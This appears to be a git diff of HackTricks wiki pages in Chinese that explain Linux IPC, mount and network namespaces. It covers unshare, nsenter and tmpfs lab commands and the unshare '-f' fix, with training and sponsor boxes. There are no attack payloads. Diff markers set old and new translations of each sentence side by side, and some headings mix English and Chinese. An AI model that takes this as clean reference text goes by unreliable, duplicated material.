3. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或使用带有 `CLONE_NEWIPC` 标志的 `unshare()` 或 `clone()` 系统调用创建新命名空间。当进程移动到新命名空间或创建一个时,它将开始使用与该命名空间关联的 IPC 对象。
|
||||
|
||||
## 实验:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### 命令行界面
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -i [--mount-proc] /bin/bash
|
||||
```
|
||||
通过挂载一个新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,可以确保新的挂载命名空间对该命名空间特定的进程信息具有准确和隔离的视图。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行 `unshare` 时没有使用 `-f` 选项时,会出现错误,这是由于 Linux 处理新 PID(进程 ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,发起新 PID 命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- Linux 内核允许一个进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 在新命名空间中,`/bin/bash` 的第一个子进程变为 PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有接管孤立进程的特殊角色。Linux 内核随后会禁用该命名空间中的 PID 分配。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清除。这会导致在创建新进程时 `alloc_pid` 函数无法分配新的 PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在 `unshare` 中使用 `-f` 选项来解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉出一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身成为新命名空间中的 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保 `unshare` 使用 `-f` 标志运行,可以正确维护新的 PID 命名空间,使 `/bin/bash` 及其子进程能够正常运行,避免遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,12 +62,12 @@ sudo unshare -i [--mount-proc] /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/ipc
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||
```
|
||||
### 查找所有IPC命名空间
|
||||
### 查找所有 IPC 命名空间
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -79,9 +81,9 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g
|
|||
```bash
|
||||
nsenter -i TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有**作为root用户**才能**进入另一个进程命名空间**。而且,**没有指向它的描述符**(如`/proc/self/ns/net`),**无法进入**其他命名空间。
|
||||
此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。
|
||||
|
||||
### 创建IPC对象
|
||||
### 创建 IPC 对象
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -i /bin/bash
|
||||
|
@ -96,21 +98,23 @@ key shmid owner perms bytes nattch status
|
|||
# From the host
|
||||
ipcs -m # Nothing is seen
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,62 @@
|
|||
# 挂载命名空间
|
||||
# Mount Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
挂载命名空间是Linux内核的一个功能,提供了一组进程看到的文件系统挂载点的隔离。每个挂载命名空间都有自己的文件系统挂载点集,**一个命名空间中对挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。
|
||||
挂载命名空间是一个Linux内核特性,它提供了一个进程组所看到的文件系统挂载点的隔离。每个挂载命名空间都有自己的一组文件系统挂载点,**对一个命名空间中挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。
|
||||
|
||||
挂载命名空间在容器化中特别有用,每个容器应该有自己的文件系统和配置,与其他容器和主机系统隔离开来。
|
||||
挂载命名空间在容器化中尤其有用,其中每个容器应该有自己的文件系统和配置,与其他容器和主机系统隔离。
|
||||
|
||||
### 工作原理:
|
||||
### How it works:
|
||||
|
||||
1. 创建新的挂载命名空间时,它会使用**父命名空间的挂载点的副本进行初始化**。这意味着在创建时,新命名空间与其父命名空间共享相同的文件系统视图。但是,命名空间内的挂载点的任何后续更改都不会影响父命名空间或其他命名空间。
|
||||
2. 当进程修改其命名空间内的挂载点,例如挂载或卸载文件系统时,**更改仅限于该命名空间**,不会影响其他命名空间。这允许每个命名空间拥有自己独立的文件系统层次结构。
|
||||
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个新的命名空间时,它将开始使用与该命名空间关联的挂载点。
|
||||
4. **文件描述符和inode在命名空间之间共享**,这意味着如果一个命名空间中的进程有指向文件的打开文件描述符,它可以将该文件描述符**传递给另一个命名空间中的进程**,**两个进程将访问同一个文件**。但是,由于挂载点的差异,两个命名空间中文件的路径可能不相同。
|
||||
1. 当创建一个新的挂载命名空间时,它会用**来自其父命名空间的挂载点的副本**进行初始化。这意味着在创建时,新的命名空间与其父命名空间共享相同的文件系统视图。然而,命名空间内的挂载点的任何后续更改都不会影响父命名空间或其他命名空间。
|
||||
2. 当进程在其命名空间内修改挂载点时,例如挂载或卸载文件系统,**更改仅限于该命名空间**,不会影响其他命名空间。这允许每个命名空间拥有自己的独立文件系统层次结构。
|
||||
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新命名空间或创建一个时,它将开始使用与该命名空间关联的挂载点。
|
||||
4. **文件描述符和inode在命名空间之间是共享的**,这意味着如果一个命名空间中的进程有一个指向文件的打开文件描述符,它可以**将该文件描述符传递给另一个命名空间中的进程**,并且**两个进程将访问同一个文件**。然而,由于挂载点的差异,文件的路径在两个命名空间中可能并不相同。
|
||||
|
||||
## 实验:
|
||||
## Lab:
|
||||
|
||||
### 创建不同的命名空间
|
||||
### Create different Namespaces
|
||||
|
||||
#### 命令行界面
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -m [--mount-proc] /bin/bash
|
||||
```
|
||||
通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例,确保新的挂载命名空间具有**准确且独立的进程信息视图,特定于该命名空间**。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行`unshare`时没有使用`-f`选项时,会遇到错误,这是由于Linux处理新PID(进程ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而,发起新PID命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此,`/bin/bash`及其子进程位于原始PID命名空间中。
|
||||
- 在新命名空间中,`/bin/bash`的第一个子进程变为PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为PID 1具有接管孤立进程的特殊角色。然后Linux内核将在该命名空间中禁用PID分配。
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这导致`alloc_pid`函数在创建新进程时无法分配新的PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
|
||||
- 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后,`/bin/bash`及其子进程安全地包含在此新命名空间中,防止PID 1过早退出,并允许正常的PID分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保`unshare`使用`-f`标志运行,新的PID命名空间将得到正确维护,使`/bin/bash`及其子进程能够正常运行,而不会遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,7 +64,7 @@ sudo unshare -m [--mount-proc] /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/mnt
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||
|
@ -82,11 +83,11 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
|
|||
```bash
|
||||
nsenter -m TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有**root用户**才能**进入另一个进程命名空间**。而且,**没有指向它的描述符**(如`/proc/self/ns/mnt`),你**无法**进入其他命名空间。
|
||||
此外,您只能**进入另一个进程命名空间,如果您是root**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如`/proc/self/ns/mnt`)。
|
||||
|
||||
由于新挂载点只能在命名空间内访问,因此可能存在包含只能从中访问的敏感信息的命名空间。
|
||||
因为新挂载仅在命名空间内可访问,所以命名空间可能包含只能从中访问的敏感信息。
|
||||
|
||||
### 挂载某物
|
||||
### 挂载某些内容
|
||||
```bash
|
||||
# Generate new mount ns
|
||||
unshare -m /bin/bash
|
||||
|
@ -100,20 +101,21 @@ ls /tmp/mount_ns_example/test # Exists
|
|||
mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example"
|
||||
ls /tmp/mount_ns_example/test # Doesn't exist
|
||||
```
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# 网络命名空间
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
网络命名空间是Linux内核的一个功能,提供网络堆栈的隔离,允许**每个网络命名空间拥有独立的网络配置**、接口、IP地址、路由表和防火墙规则。这种隔离在各种场景中非常有用,比如容器化,其中每个容器应该有自己独立的网络配置,独立于其他容器和主机系统。
|
||||
网络命名空间是 Linux 内核的一项功能,提供网络栈的隔离,允许 **每个网络命名空间拥有自己的独立网络配置**、接口、IP 地址、路由表和防火墙规则。这种隔离在各种场景中非常有用,例如容器化,其中每个容器应具有自己的网络配置,与其他容器和主机系统独立。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新的网络命名空间时,它会以一个**完全隔离的网络堆栈**开始,除了回环接口(lo)外**没有网络接口**。这意味着运行在新网络命名空间中的进程默认情况下无法与其他命名空间中的进程或主机系统通信。
|
||||
2. **虚拟网络接口**,如veth对,可以被创建并在网络命名空间之间移动。这允许在命名空间之间或在命名空间和主机系统之间建立网络连接。例如,veth对的一端可以放置在容器的网络命名空间中,另一端可以连接到主机命名空间中的**桥接器**或另一个网络接口,为容器提供网络连接。
|
||||
3. 命名空间内的网络接口可以拥有它们**自己的IP地址、路由表和防火墙规则**,独立于其他命名空间。这允许不同网络命名空间中的进程拥有不同的网络配置,并且可以像在独立网络系统上运行一样操作。
|
||||
4. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个新的命名空间时,它将开始使用与该命名空间关联的网络配置和接口。
|
||||
1. 当创建一个新的网络命名空间时,它将以 **完全隔离的网络栈** 开始,除了回环接口 (lo) 外 **没有网络接口**。这意味着在新的网络命名空间中运行的进程默认无法与其他命名空间或主机系统中的进程通信。
|
||||
2. **虚拟网络接口**,如 veth 对,可以在网络命名空间之间创建和移动。这允许在命名空间之间或命名空间与主机系统之间建立网络连接。例如,veth 对的一端可以放置在容器的网络命名空间中,另一端可以连接到主机命名空间中的 **桥接** 或其他网络接口,从而为容器提供网络连接。
|
||||
3. 命名空间内的网络接口可以拥有 **自己的 IP 地址、路由表和防火墙规则**,与其他命名空间独立。这允许不同网络命名空间中的进程具有不同的网络配置,并像在独立的网络系统上运行一样操作。
|
||||
4. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或使用带有 `CLONE_NEWNET` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间相关的网络配置和接口。
|
||||
|
||||
## 实验:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### 命令行界面
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -n [--mount-proc] /bin/bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例,确保新的挂载命名空间对该命名空间特定的进程信息具有准确且隔离的视图。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行`unshare`时没有使用`-f`选项时,会出现错误,这是由于Linux处理新PID(进程ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而,发起新PID命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此,`/bin/bash`及其子进程位于原始PID命名空间中。
|
||||
- 在新命名空间中,`/bin/bash`的第一个子进程变为PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为PID 1具有接管孤立进程的特殊角色。然后Linux内核会禁用该命名空间中的PID分配。
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为“unshare”进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生“无法分配内存”的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
|
||||
- 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后,`/bin/bash`及其子进程安全地包含在这个新命名空间中,防止PID 1过早退出,并允许正常的PID分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保`unshare`使用`-f`标志运行,新的PID命名空间得以正确维护,使`/bin/bash`及其子进程能够正常运行,避免遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,7 +64,7 @@ sudo unshare -n [--mount-proc] /bin/bash
|
|||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/net
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||
|
